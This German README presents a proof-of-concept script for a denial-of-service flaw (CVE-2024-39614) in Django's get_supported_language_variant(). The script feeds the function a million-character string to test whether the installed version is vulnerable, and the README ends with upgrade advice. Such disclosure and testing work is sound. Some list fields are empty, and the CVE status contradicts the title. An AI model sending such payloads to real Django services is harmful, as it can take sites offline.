
Proof-of-concept-Exploit für CVE-2024-39614, eine Denial-of-Service-Sicherheitslücke in Djangos get_supported_language_variant()-Funktion, die die Versionen 5.0<5.0.7 und 4.2<4.2.14 betrifft.
Dieses Repository enthält ein Proof-of-Concept (PoC)-Skript, das eine Denial-of-Service (DoS)-Schwachstelle in Django-Versionen 5.0 vor 5.0.7 und 4.2 vor 4.2.14 demonstriert. Die Schwachstelle liegt in der Funktion get_supported_language_variant(), die bei der Verarbeitung sehr langer Zeichenketten mit bestimmten Zeichen anfällig für einen potenziellen DoS-Angriff ist.
CVE-ID: (Ausstehend)
Übersicht:
Die Funktion get_supported_language_variant() in Django-Versionen 5.0 vor 5.0.7 und 4.2 vor 4.2.14 ist anfällig für einen Denial-of-Service-Angriff. Diese Funktion kann durch das Senden sehr langer Zeichenketten mit bestimmten Zeichen ausgenutzt werden, was zu einer Ressourcenerschöpfung und folglich zu einem Denial-of-Service-Zustand führen könnte.
Betroffene Versionen:
Behobene Versionen:
pip install django)Dieses Skript zeigt, wie ein Angreifer die Schwachstelle ausnutzen kann, indem er eine sehr lange Zeichenfolge an die Funktion get_supported_language_variant() sendet.
Speichern Sie das folgende Skript als dos_poc.py und führen Sie es aus.
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() ruft get_supported_language_variant() mit der sehr langen Zeichenkette auf, um die Schwachstelle zu testen.Um diese Schwachstelle zu beheben, aktualisieren Sie auf die behobenen Versionen von Django:
Befolgen Sie die offiziellen Django-Upgrade-Anweisungen, um Ihre Django-Installation auf die neueste sichere Version zu aktualisieren.
Indem Sie Ihre Software auf dem neuesten Stand halten und Sicherheitsbest Practices befolgen, können Sie Schwachstellen wie dieses DoS-Problem in Django verhindern.